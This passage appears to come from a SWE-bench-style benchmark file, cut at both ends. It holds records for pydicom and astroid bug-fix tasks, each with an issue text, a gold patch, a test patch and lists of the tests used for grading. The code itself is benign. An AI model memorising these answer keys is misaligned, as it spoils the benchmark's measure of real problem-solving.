"pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_32bit_2frame.dcm-data15]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_1bit_1sample_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_1bit_1sample_3frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_16bit_1sample_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_16bit_1sample_1frame_padded", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_16bit_1sample_10frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_16bit_3sample_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_16bit_3sample_2frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_32bit_1sample_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_32bit_1sample_15frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_32bit_3sample_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_32bit_3sample_2frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_32bit_float_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_32bit_float_15frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_64bit_float_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_64bit_float_15frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/liver_1frame.dcm-/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/liver_expb_1frame.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/liver.dcm-/n/fs/guest/jy1682/.pydicom/data/liver_expb.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/OBXXXX1A.dcm-/n/fs/guest/jy1682/.pydicom/data/OBXXXX1A_expb.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/OBXXXX1A_2frame.dcm-/n/fs/guest/jy1682/.pydicom/data/OBXXXX1A_expb_2frame.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/SC_rgb.dcm-/n/fs/guest/jy1682/.pydicom/data/SC_rgb_expb.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_2frame.dcm-/n/fs/guest/jy1682/.pydicom/data/SC_rgb_expb_2frame.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/MR_small.dcm-/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/MR_small_expb.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/emri_small.dcm-/n/fs/guest/jy1682/.pydicom/data/emri_small_big_endian.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_16bit.dcm-/n/fs/guest/jy1682/.pydicom/data/SC_rgb_expb_16bit.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_16bit_2frame.dcm-/n/fs/guest/jy1682/.pydicom/data/SC_rgb_expb_16bit_2frame.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/rtdose_1frame.dcm-/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/rtdose_expb_1frame.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/rtdose.dcm-/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/rtdose_expb.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_32bit.dcm-/n/fs/guest/jy1682/.pydicom/data/SC_rgb_expb_32bit.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_32bit_2frame.dcm-/n/fs/guest/jy1682/.pydicom/data/SC_rgb_expb_32bit_2frame.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_endianness_not_set", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_read_only", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_no_pixel_data_raises", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_missing_required_elem_pixel_data_color", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_missing_required_elem_float_pixel_data_monochrome", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_unknown_pixel_representation_raises", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_unsupported_syntaxes_raises", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_bad_length_raises", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_missing_padding_warns", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_change_photometric_interpretation", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_array_read_only", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_array_read_only_bit_packed", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_ybr422_excess_padding", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_ybr422_wrong_interpretation", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_float_pixel_data", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_double_float_pixel_data", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[-output0]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x00-output1]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x01-output2]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x02-output3]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x04-output4]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x08-output5]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x10-output6]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[@-output8]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x80-output9]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\xaa-output10]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\xf0-output11]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x0f-output12]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\xff-output13]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x00\\x00-output14]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x00\\x01-output15]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x00\\x80-output16]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x00\\xff-output17]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x01\\x80-output18]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x80\\x80-output19]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\xff\\x80-output20]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[-input0]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x00-input1]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x01-input2]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x02-input3]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x04-input4]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x08-input5]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x10-input6]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[@-input8]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x80-input9]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\xaa-input10]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\xf0-input11]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x0f-input12]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\xff-input13]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x00\\x00-input14]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x00\\x01-input15]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x00\\x80-input16]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x00\\xff-input17]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x01\\x80-input18]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x80\\x80-input19]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\xff\\x80-input20]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_non_binary_input", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_ndarray_input", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_padding", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x00@-input0]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x00", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x00\\x10-input2]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x00\\x08-input3]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x00\\x04-input4]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x00\\x02-input5]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x00\\x01-input6]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x80-input7]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[@-input8]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x10-input10]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x08-input11]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x04-input12]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x02-input13]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x01-input14]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[-input15]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_functional"], "environment_setup_commit": "0fa18d2a2179c92efc22200ed6b3689e66cecf92", "query": "Pixel Representation attribute should be optional for pixel data handler\n**Describe the bug**\r\nThe NumPy pixel data handler currently [requires the Pixel Representation attribute](https://github.com/pydicom/pydicom/blob/8da0b9b215ebfad5756051c891def88e426787e7/pydicom/pixel_data_handlers/numpy_handler.py#L46). This is problematic, because in case of Float Pixel Data or Double Float Pixel Data the attribute shall be absent. Compare [Floating Point Image Pixel Module Attributes](http://dicom.nema.org/medical/dicom/current/output/chtml/part03/sect_C.7.6.24.html) versus [Image Pixel Description Macro Attributes](http://dicom.nema.org/medical/dicom/current/output/chtml/part03/sect_C.7.6.3.html#table_C.7-11c)\r\n\r\n**Expected behavior**\r\nI would expect the `Dataset.pixel_array` property to be able to decode a Float Pixel Data or Double Float Pixel Data element without presence of the Pixel Representation element in the metadata.\r\n\r\n**Steps To Reproduce**\r\n```python\r\nimport numpy as np\r\nfrom pydicom.dataset import Dataset, FileMetaDataset\r\n\r\n\r\nds = Dataset()\r\nds.file_meta = FileMetaDataset()\r\nds.file_meta.TransferSyntaxUID = '1.2.840.10008.1.2.1'\r\n\r\nds.BitsAllocated = 32\r\nds.SamplesPerPixel = 1\r\nds.Rows = 5\r\nds.Columns = 5\r\nds.PhotometricInterpretation = 'MONOCHROME2'\r\n\r\npixel_array = np.zeros((ds.Rows, ds.Columns), dtype=np.float32)\r\nds.FloatPixelData = pixel_array.flatten().tobytes()\r\n\r\nnp.array_equal(ds.pixel_array, pixel_array)\r\n```\n", "task_id": "pydicom__pydicom-1458"}, {"repo": "pylint-dev/astroid", "instance_id": "pylint-dev__astroid-1268", "base_commit": "ce5cbce5ba11cdc2f8139ade66feea1e181a7944", "patch": "diff --git a/astroid/nodes/as_string.py b/astroid/nodes/as_string.py\n--- a/astroid/nodes/as_string.py\n+++ b/astroid/nodes/as_string.py\n@@ -36,6 +36,7 @@\n MatchSingleton,\n MatchStar,\n MatchValue,\n+ Unknown,\n )\n \n # pylint: disable=unused-argument\n@@ -643,6 +644,9 @@ def visit_property(self, node):\n def visit_evaluatedobject(self, node):\n return node.original.accept(self)\n \n+ def visit_unknown(self, node: \"Unknown\") -> str:\n+ return str(node)\n+\n \n def _import_string(names):\n \"\"\"return a list of (name, asname) formatted as a string\"\"\"\n", "test_patch": "diff --git a/tests/unittest_nodes.py b/tests/unittest_nodes.py\n--- a/tests/unittest_nodes.py\n+++ b/tests/unittest_nodes.py\n@@ -306,6 +306,11 @@ def test_f_strings(self):\n ast = abuilder.string_build(code)\n self.assertEqual(ast.as_string().strip(), code.strip())\n \n+ @staticmethod\n+ def test_as_string_unknown() -> None:\n+ assert nodes.Unknown().as_string() == \"Unknown.Unknown()\"\n+ assert nodes.Unknown(lineno=1, col_offset=0).as_string() == \"Unknown.Unknown()\"\n+\n \n class _NodeTest(unittest.TestCase):\n \"\"\"test transformation of If Node\"\"\"\n", "problem_statement": "'AsStringVisitor' object has no attribute 'visit_unknown'\n```python\r\n>>> import astroid\r\n>>> astroid.nodes.Unknown().as_string()\r\nTraceback (most recent call last):\r\n File \"\", line 1, in \r\n File \"/Users/tusharsadhwani/code/marvin-python/venv/lib/python3.9/site-packages/astroid/nodes/node_ng.py\", line 609, in as_string\r\n return AsStringVisitor()(self)\r\n File \"/Users/tusharsadhwani/code/marvin-python/venv/lib/python3.9/site-packages/astroid/nodes/as_string.py\", line 56, in __call__\r\n return node.accept(self).replace(DOC_NEWLINE, \"\\n\")\r\n File \"/Users/tusharsadhwani/code/marvin-python/venv/lib/python3.9/site-packages/astroid/nodes/node_ng.py\", line 220, in accept\r\n func = getattr(visitor, \"visit_\" + self.__class__.__name__.lower())\r\nAttributeError: 'AsStringVisitor' object has no attribute 'visit_unknown'\r\n>>> \r\n```\r\n### `python -c \"from astroid import __pkginfo__; print(__pkginfo__.version)\"` output\r\n\r\n2.8.6-dev0\n", "hints_text": "Thank you for opening the issue.\nI don't believe `Unknown().as_string()` is ever called regularly. AFAIK it's only used during inference. What should the string representation of an `Unknown` node be? So not sure this needs to be addressed.\nProbably just `'Unknown'`.\nIt's mostly only a problem when we do something like this:\n\n```python\ninferred = infer(node)\nif inferred is not Uninferable:\n if inferred.as_string().contains(some_value):\n ...\n```\nSo for the most part, as long as it doesn't crash we're good.", "created_at": "2021-11-21T16:15:23Z", "version": "2.9", "FAIL_TO_PASS": ["tests/unittest_nodes.py::AsStringTest::test_as_string_unknown"], "PASS_TO_PASS": ["tests/unittest_nodes.py::AsStringTest::test_3k_annotations_and_metaclass", "tests/unittest_nodes.py::AsStringTest::test_3k_as_string", "tests/unittest_nodes.py::AsStringTest::test_as_string", "tests/unittest_nodes.py::AsStringTest::test_as_string_for_list_containing_uninferable", "tests/unittest_nodes.py::AsStringTest::test_class_def", "tests/unittest_nodes.py::AsStringTest::test_ellipsis", "tests/unittest_nodes.py::AsStringTest::test_f_strings", "tests/unittest_nodes.py::AsStringTest::test_frozenset_as_string", "tests/unittest_nodes.py::AsStringTest::test_func_signature_issue_185", "tests/unittest_nodes.py::AsStringTest::test_int_attribute", "tests/unittest_nodes.py::AsStringTest::test_module2_as_string", "tests/unittest_nodes.py::AsStringTest::test_module_as_string", "tests/unittest_nodes.py::AsStringTest::test_operator_precedence", "tests/unittest_nodes.py::AsStringTest::test_slice_and_subscripts", "tests/unittest_nodes.py::AsStringTest::test_slices", "tests/unittest_nodes.py::AsStringTest::test_tuple_as_string", "tests/unittest_nodes.py::AsStringTest::test_varargs_kwargs_as_string", "tests/unittest_nodes.py::IfNodeTest::test_block_range", "tests/unittest_nodes.py::IfNodeTest::test_if_elif_else_node", "tests/unittest_nodes.py::IfNodeTest::test_if_sys_guard", "tests/unittest_nodes.py::IfNodeTest::test_if_typing_guard", "tests/unittest_nodes.py::TryExceptNodeTest::test_block_range", "tests/unittest_nodes.py::TryFinallyNodeTest::test_block_range", "tests/unittest_nodes.py::TryExceptFinallyNodeTest::test_block_range", "tests/unittest_nodes.py::ImportNodeTest::test_absolute_import", "tests/unittest_nodes.py::ImportNodeTest::test_as_string", "tests/unittest_nodes.py::ImportNodeTest::test_bad_import_inference", "tests/unittest_nodes.py::ImportNodeTest::test_conditional", "tests/unittest_nodes.py::ImportNodeTest::test_conditional_import", "tests/unittest_nodes.py::ImportNodeTest::test_from_self_resolve", "tests/unittest_nodes.py::ImportNodeTest::test_import_self_resolve", "tests/unittest_nodes.py::ImportNodeTest::test_more_absolute_import", "tests/unittest_nodes.py::ImportNodeTest::test_real_name", "tests/unittest_nodes.py::CmpNodeTest::test_as_string", "tests/unittest_nodes.py::ConstNodeTest::test_bool", "tests/unittest_nodes.py::ConstNodeTest::test_complex", "tests/unittest_nodes.py::ConstNodeTest::test_copy", "tests/unittest_nodes.py::ConstNodeTest::test_float", "tests/unittest_nodes.py::ConstNodeTest::test_int", "tests/unittest_nodes.py::ConstNodeTest::test_none", "tests/unittest_nodes.py::ConstNodeTest::test_str", "tests/unittest_nodes.py::ConstNodeTest::test_str_kind", "tests/unittest_nodes.py::ConstNodeTest::test_unicode", "tests/unittest_nodes.py::NameNodeTest::test_assign_to_true", "tests/unittest_nodes.py::TestNamedExprNode::test_frame", "tests/unittest_nodes.py::TestNamedExprNode::test_scope", "tests/unittest_nodes.py::AnnAssignNodeTest::test_as_string", "tests/unittest_nodes.py::AnnAssignNodeTest::test_complex", "tests/unittest_nodes.py::AnnAssignNodeTest::test_primitive", "tests/unittest_nodes.py::AnnAssignNodeTest::test_primitive_without_initial_value", "tests/unittest_nodes.py::ArgumentsNodeTC::test_kwoargs", "tests/unittest_nodes.py::ArgumentsNodeTC::test_positional_only", "tests/unittest_nodes.py::UnboundMethodNodeTest::test_no_super_getattr", "tests/unittest_nodes.py::BoundMethodNodeTest::test_is_property", "tests/unittest_nodes.py::AliasesTest::test_aliases", "tests/unittest_nodes.py::Python35AsyncTest::test_async_await_keywords", "tests/unittest_nodes.py::Python35AsyncTest::test_asyncfor_as_string", "tests/unittest_nodes.py::Python35AsyncTest::test_asyncwith_as_string", "tests/unittest_nodes.py::Python35AsyncTest::test_await_as_string", "tests/unittest_nodes.py::Python35AsyncTest::test_decorated_async_def_as_string", "tests/unittest_nodes.py::ContextTest::test_list_del", "tests/unittest_nodes.py::ContextTest::test_list_load", "tests/unittest_nodes.py::ContextTest::test_list_store", "tests/unittest_nodes.py::ContextTest::test_starred_load", "tests/unittest_nodes.py::ContextTest::test_starred_store", "tests/unittest_nodes.py::ContextTest::test_subscript_del", "tests/unittest_nodes.py::ContextTest::test_subscript_load", "tests/unittest_nodes.py::ContextTest::test_subscript_store", "tests/unittest_nodes.py::ContextTest::test_tuple_load", "tests/unittest_nodes.py::ContextTest::test_tuple_store", "tests/unittest_nodes.py::test_unknown", "tests/unittest_nodes.py::test_type_comments_with", "tests/unittest_nodes.py::test_type_comments_for", "tests/unittest_nodes.py::test_type_coments_assign", "tests/unittest_nodes.py::test_type_comments_invalid_expression", "tests/unittest_nodes.py::test_type_comments_invalid_function_comments", "tests/unittest_nodes.py::test_type_comments_function", "tests/unittest_nodes.py::test_type_comments_arguments", "tests/unittest_nodes.py::test_type_comments_posonly_arguments", "tests/unittest_nodes.py::test_correct_function_type_comment_parent", "tests/unittest_nodes.py::test_is_generator_for_yield_assignments", "tests/unittest_nodes.py::test_f_string_correct_line_numbering", "tests/unittest_nodes.py::test_assignment_expression", "tests/unittest_nodes.py::test_assignment_expression_in_functiondef", "tests/unittest_nodes.py::test_get_doc", "tests/unittest_nodes.py::test_parse_fstring_debug_mode", "tests/unittest_nodes.py::test_parse_type_comments_with_proper_parent", "tests/unittest_nodes.py::test_const_itered", "tests/unittest_nodes.py::test_is_generator_for_yield_in_while", "tests/unittest_nodes.py::test_is_generator_for_yield_in_if", "tests/unittest_nodes.py::test_is_generator_for_yield_in_aug_assign"], "environment_setup_commit": "0d1211558670cfefd95b39984b8d5f7f34837f32", "query": "'AsStringVisitor' object has no attribute 'visit_unknown'\n```python\r\n>>> import astroid\r\n>>> astroid.nodes.Unknown().as_string()\r\nTraceback (most recent call last):\r\n File \"\", line 1, in \r\n File \"/Users/tusharsadhwani/code/marvin-python/venv/lib/python3.9/site-packages/astroid/nodes/node_ng.py\", line 609, in as_string\r\n return AsStringVisitor()(self)\r\n File \"/Users/tusharsadhwani/code/marvin-python/venv/lib/python3.9/site-packages/astroid/nodes/as_string.py\", line 56, in __call__\r\n return node.accept(self).replace(DOC_NEWLINE, \"\\n\")\r\n File \"/Users/tusharsadhwani/code/marvin-python/venv/lib/python3.9/site-packages/astroid/nodes/node_ng.py\", line 220, in accept\r\n func = getattr(visitor, \"visit_\" + self.__class__.__name__.lower())\r\nAttributeError: 'AsStringVisitor' object has no attribute 'visit_unknown'\r\n>>> \r\n```\r\n### `python -c \"from astroid import __pkginfo__; print(__pkginfo__.version)\"` output\r\n\r\n2.8.6-dev0\n", "task_id": "pylint-dev__astroid-1268"}, {"repo": "pydicom/pydicom", "instance_id": "pydicom__pydicom-1194", "base_commit": "5e70c1dfe09820023fec519dac4c51bebcb7f60d", "patch": "diff --git a/pydicom/filewriter.py b/pydicom/filewriter.py\n--- a/pydicom/filewriter.py\n+++ b/pydicom/filewriter.py\n@@ -87,6 +87,9 @@ def _correct_ambiguous_vr_element(elem, ds, is_little_endian):\n elem.VR = 'SS'\n byte_type = 'h'\n \n+ if elem.VM == 0:\n+ return elem\n+\n # Need to handle type check for elements with VM > 1\n elem_value = elem.value if elem.VM == 1 else elem.value[0]\n if not isinstance(elem_value, int):\n@@ -115,6 +118,9 @@ def _correct_ambiguous_vr_element(elem, ds, is_little_endian):\n # As per PS3.3 C.11.1.1.1\n if ds.LUTDescriptor[0] == 1:\n elem.VR = 'US'\n+ if elem.VM == 0:\n+ return elem\n+\n elem_value = elem.value if elem.VM == 1 else elem.value[0]\n if not isinstance(elem_value, int):\n elem.value = convert_numbers(elem.value, is_little_endian, 'H')\n", "test_patch": "diff --git a/pydicom/tests/test_filewriter.py b/pydicom/tests/test_filewriter.py\n--- a/pydicom/tests/test_filewriter.py\n+++ b/pydicom/tests/test_filewriter.py\n@@ -1054,7 +1054,7 @@ def test_not_ambiguous_raw_data_element(self):\n elem = RawDataElement(0x60003000, 'OB', 1, b'\\x00', 0, True, True)\n out = correct_ambiguous_vr_element(elem, Dataset(), True)\n assert out == elem\n- assert type(out) == RawDataElement\n+ assert isinstance(out, RawDataElement)\n \n def test_correct_ambiguous_data_element(self):\n \"\"\"Test correct ambiguous US/SS element\"\"\"\n@@ -1086,10 +1086,28 @@ def test_correct_ambiguous_raw_data_element(self):\n ds[0x00280120] = elem\n ds.PixelRepresentation = 0\n out = correct_ambiguous_vr_element(elem, ds, True)\n- assert type(out) == DataElement\n+ assert isinstance(out, DataElement)\n assert out.VR == 'US'\n assert out.value == 0xfffe\n \n+ def test_empty_value(self):\n+ \"\"\"Regression test for #1193: empty value raises exception.\"\"\"\n+ ds = Dataset()\n+ elem = RawDataElement(0x00280106, 'US or SS', 0, None, 0, True, True)\n+ ds[0x00280106] = elem\n+ out = correct_ambiguous_vr_element(elem, ds, True)\n+ assert isinstance(out, DataElement)\n+ assert out.VR == 'US'\n+\n+ ds.LUTDescriptor = [1, 1, 1]\n+ elem = RawDataElement(0x00283006, 'US or SS', 0, None, 0, True, True)\n+ assert out.value is None\n+ ds[0x00283006] = elem\n+ out = correct_ambiguous_vr_element(elem, ds, True)\n+ assert isinstance(out, DataElement)\n+ assert out.VR == 'US'\n+ assert out.value is None\n+\n \n class TestWriteAmbiguousVR:\n \"\"\"Attempt to write data elements with ambiguous VR.\"\"\"\n", "problem_statement": "Error decoding dataset with ambiguous VR element when the value is None\nHi all,\r\n I used the storescu in pynetdicom 1.5.3 to send the dicom ct files(both on mac and ubuntu): \r\n**python storescu.py 192.168.1.120 9002 ~/Downloads/test/**\r\n(I also tried https://pydicom.github.io/pynetdicom/stable/examples/storage.html#storage-scu)\r\nbut it throwed errors: \r\n\r\n_E: Failed to encode the supplied Dataset\r\nE: Store failed: /Users/me/Downloads/test/CT_S1_118.dcm\r\nE: Failed to encode the supplied Dataset\r\nTraceback (most recent call last):\r\n File \"storescu.py\", line 283, in main\r\n status = assoc.send_c_store(ds, ii)\r\n File \"/Users/me/.pyenv/versions/3.8.2/lib/python3.8/site-packages/pynetdicom/association.py\", line 1736, in send_c_store\r\n raise ValueError('Failed to encode the supplied Dataset')\r\nValueError: Failed to encode the supplied Dataset_\r\n\r\nBut I used to send same files with storescu in dcm4che successfully.\r\nFile attached.\r\n\r\n[test.zip](https://github.com/pydicom/pynetdicom/files/5258867/test.zip)\r\n\n", "hints_text": "```python\r\n>>> from pydicom import dcmread\r\n>>> dcmread(\"CT_S1_001.dcm\")\r\nTraceback (most recent call last):\r\n File \".../pydicom/tag.py\", line 30, in tag_in_exception\r\n yield\r\n File \".../pydicom/filewriter.py\", line 555, in write_dataset\r\n write_data_element(fp, dataset.get_item(tag), dataset_encoding)\r\n File \".../pydicom/dataset.py\", line 1060, in get_item\r\n return self[key]\r\n File \".../pydicom/dataset.py\", line 878, in __getitem__\r\n self[tag] = correct_ambiguous_vr_element(\r\n File \".../pydicom/filewriter.py\", line 160, in correct_ambiguous_vr_element\r\n _correct_ambiguous_vr_element(elem, ds, is_little_endian)\r\n File \".../pydicom/filewriter.py\", line 86, in _correct_ambiguous_vr_element\r\n elem_value = elem.value if elem.VM == 1 else elem.value[0]\r\nTypeError: 'NoneType' object is not subscriptable\r\n```\r\nIssue occurs because the dataset is Implicit VR and the *Smallest Image Pixel Value* is ambiguous but empty,", "created_at": "2020-09-22T03:16:19Z", "version": "2.0", "FAIL_TO_PASS": ["pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVRElement::test_empty_value"], "PASS_TO_PASS": ["pydicom/tests/test_filewriter.py::TestWriteFile::testRTPlan", "pydicom/tests/test_filewriter.py::TestWriteFile::testRTDose", "pydicom/tests/test_filewriter.py::TestWriteFile::testCT", "pydicom/tests/test_filewriter.py::TestWriteFile::testMR", "pydicom/tests/test_filewriter.py::TestWriteFile::testUnicode", "pydicom/tests/test_filewriter.py::TestWriteFile::testMultiPN", 